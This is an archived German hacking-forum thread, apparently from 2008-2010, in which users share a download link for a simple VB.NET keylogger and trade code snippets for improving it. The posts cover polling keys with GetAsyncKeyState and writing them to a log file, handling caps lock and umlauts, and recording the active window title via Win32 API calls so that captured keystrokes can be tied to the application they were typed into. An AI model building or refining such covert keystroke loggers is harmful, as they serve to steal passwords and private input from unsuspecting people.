PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [Vb.Net Source] - KeyLogger



Sawyer
26.11.2008, 14:14
Ich habe mal ein Beispiel gemacht , wie man in vb.net einen Simplen Keylogger umsetzt

Download:
http://rapidshare.com/files/167582599/VB.NET_-_KeyLogger.rar

MfG

DeXTer
26.11.2008, 16:41
Wir haben es in .net mit der simplen Funktion "GetAsyncKeyState" ja ziemlich einfach ;)

Sawyer
26.11.2008, 16:45
naja die funktion ist nich wirklich in .net inbegriffen sondern nur eine API

die man übrigents auch in vb6 verwenden kann ;)

Sirect
26.11.2008, 16:57
Aber so richtig Prall funktioniert er leider nicht xD
Bei mir funktioniert das O nur wenn ich mehrmals drücke?
Naja mal ein bisschen dran rumspielen (am Code) xD


Das O ist falsch definiert =)
Ich bräuchte mal ein Sample zu den Window-Titles, weil so bring einem der Log ja nix =)

Sawyer
26.11.2008, 17:01
ka bei mir gehts , jedenfalls soll das nur ein sehr sehr einfaches Beispiel sein

edit:

ja das o ist falsch definiert , aber das kann ja jeder selber ausbessern ;)

wenn du daraus nen richtig guten keyLogger machen willst musst du (oder auch andere)

selber Hand anlegen

MfG

Sirect
26.11.2008, 17:04
If GetAsyncKeyState(Keys.A) = -32767 Then
LoggDatei.Write("o")
LoggDatei.Flush()
End If


Ich weiss aber auch nicht warum trotzdem manchmal ein O kommt xDD

Sawyer
26.11.2008, 17:05
weil du a drückst ?

einfach ausbessern , dann gehts ohne Probleme ;)

MfG

Sirect
26.11.2008, 17:10
Nein, ohne dass ich A drücke xD
Hast du nicht vll einen Hinweis für die Window-Titles? =)

Sawyer
26.11.2008, 17:16
ka was du damit meinst

bitte genauere erläuterung^^

MfG

Sirect
26.11.2008, 17:17
In nem Log eines richtigen Keyloggers steht immer:

[Free-Hack.com - Mozilla Firefox]

blablalbabla

Man muss ja auch wissen woher die Daten sind ^^

Sawyer
26.11.2008, 17:23
achso.....^^

tja so komplex mh....

Mein Beispiel loggt ja nur allgemein die Tastenschläge

aber vll könnte man die Anwendung ermitteln die aktuell den Fokus hat , vll gibts da ne api aber ka

musst selber mal schauen , ich bin für heute off

MfG

Miaurice
17.12.2008, 13:32
Ist zwar jetzt schon etwas her, aber für einen Anfänger, wie ich es bin wäre es wichtig zu erfahren:

Kann man das auch so coden, dass der Logger auf groß/kleinschreibung achtet?
Und dass er auch "ä,ö,ü,ß" beachtet?

Wäre glücklich über eine freundliche Antwort für einen Anfänger :)

Sawyer
17.12.2008, 16:04
Und dass er auch "ä,ö,ü,ß" beachtet?

Fügs doch einfach hinzu , was is da so schwer dran ? :roll:


Kann man das auch so coden, dass der Logger auf groß/kleinschreibung achtet?

Du musst nur bevor die taste geloggt wird prüfen , ob capslock aktiviert ist , somit musst du den buchstaben groß schreiben

mit etwas nachdenken , wären dir die Lösungen eigentlich selber eingefallen

MfG

Miaurice
18.12.2008, 13:17
*edit:

WTF?

Das hier ist mein Code

http://nopaste.free-hack.com/index.php?id=03758e20d2

KAS
18.12.2008, 15:44
füg es in nopaste ein und kopier den link -.-^^ reported...

N4wuko
15.02.2009, 00:32
Bezüglich des aktuellen Fenster gibt es sicherlich ne API und zwar die Win32 API.

In c# kann man die z.B. wie folgt importieren.

[DllImport("user32.dll")]
public static extern int GetActiveWindow();


[DllImport("user32.dll")]
public static extern int GetWindowText(int hwnd,string lpstring ,int cch);

Wenn man nun die Funktion GetWindowText mit dem hwnd, also dem Window.
Dem String als Pointer und der maximal zu aulesenden Länge von Zeichen mitgibt, hat man den Titel. Sofern einer vorhanden ist.

Hoffe, ihr könnt meinen Senf hier lesen. :)

lg,
N4wuko

Sawyer
15.02.2009, 04:39
Bezüglich des aktuellen Fenster gibt es sicherlich ne API und zwar die Win32 API.Normal ist das eine veralgemeinerung aber egal ;)

Für alle die , die mit der C# deaklaration nix anfangen können , hier für vb.net:


Public Declare Function GetActiveWindow Lib "user32.dll" () As Long

Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As LongMfG

krusty
15.02.2009, 10:02
Herzlichen dank The Papst, ich lern gerad vb und das kam wie gerufen ;D

IoNiX
06.03.2009, 17:01
Hey Papst,

darf ich mal Fragen für das die -32767 steht`?

Was hat das für einen Sinn?

Dankeschön :)

Sawyer
06.03.2009, 17:20
Hey Papst,

darf ich mal Fragen für das die -32767 steht`?

Was hat das für einen Sinn?

Dankeschön :)

das liegt am Short Datentyp , den genau diese Zahl kann der short maximal aufnehmen , um dann zu erkennen ob die if abfrage True (1) oder False (0)

zurückliefert , muss man eben die eigentliche Größe abziehen

eigentlich ist es schlecht umgesetzt , kenne es aber so aus dem alten vb6

man kann die API auch als Ushort deklarieren , dann würde man sich das abziehen Sparren

MfG

Slawa
11.03.2010, 13:16
Ich weiß, dass der Post schon alt ist, wollte aber die funktion des Keyloggers mal genauer betrachten, könnte das jemand nocheinmal hochladen (REUPP).

Danke

Gruß

Slawa

Sveiven
11.03.2010, 13:19
Bei Googel & Youtube gibt es auch viele Sources & Tutorials.
Kannst ihn ja beliebig verändern.

Slawa
11.03.2010, 14:02
Bei Googel & Youtube gibt es auch viele Sources & Tutorials.
Kannst ihn ja beliebig verändern.


Ja wenn jemand den noch hat, bitte hier rein, ich will einfahc nicht C & P, das muss man richtig verstehen & umsetzen können.

Gruß

Slawa